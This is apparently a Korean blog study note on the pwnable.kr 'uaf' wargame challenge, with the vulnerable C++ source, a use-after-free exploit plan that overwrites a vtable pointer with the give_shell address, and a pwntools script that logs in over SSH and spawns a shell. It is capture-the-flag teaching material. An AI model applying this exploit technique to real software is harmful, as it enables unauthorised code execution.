https://power-girl0-0.tistory.com/565
[pwnable] uaf 풀이
1. 문제 문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다. uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다. 2. 풀기 전, 알고 가기 ① 힙영역이란? -
power-girl0-0.tistory.com
해당 풀이를 참고하여 리마인드차 UAF 문제를 풀어보고자 하였는데 이용이 불가하네
일단 개념만 다시보고 드림핵 문제를 풀어봐야겠다.
나중에 다시 접근을 해봐야겠다..
① 힙영역이란?
- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.
- 필요에 의해, 메모리를 할당하고 해제한다.
② heap overflow란?
- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.
- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.
③ UAF(Use After Free)
- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
여기서 참고! C언어에서는 malloc과 free로 동적할당하지만, C++에서는 new과 delete를 사용한다.
위 코드 분석을 통해 알 수 있는 점은 아래와 같다.
⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다. ⇨ Human을 상속받은 man과 woman의 객체를 생성한다. ⇨ case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다. ⇨ case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file ) ⇨ case 3은 객체 m과 w 메모리를 해제한다. |
시나리오를 만들어보자면, 아래와 같다.
할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다. 이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다. 새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다. 이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다. |
시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.
① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다. ② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다. ③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다. ( 0x401570-0x8 = 0x401568 ) ④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다. |
위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.
from pwn import *
argvs=[b"./uaf","4","/tmp/d0bbyG/attack"]
p = ssh(user = b"uaf", host = b"pwnable.kr", password = b"guest", port = 2222)
p1 = p.process(argv=argvs)
def PRINT():
ans = p1.recvuntil(b"3. free")
print(ans)
def USE():
p1.sendline("1")
def AFTER():
p1.sendline("2")
PRINT()
def FREE():
p1.sendline("3")
PRINT()
PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()
'시스템' 카테고리의 다른 글
peda, pwndbg, gef 같이 쓰기 (펌) (0) | 2025.02.02 |
---|---|
Dreamhack UAF (진행 중) (0) | 2025.01.31 |
protostar net3 (0) | 2025.01.31 |
protostar net1 (0) | 2025.01.31 |
eprotostar heap1 (0) | 2025.01.31 |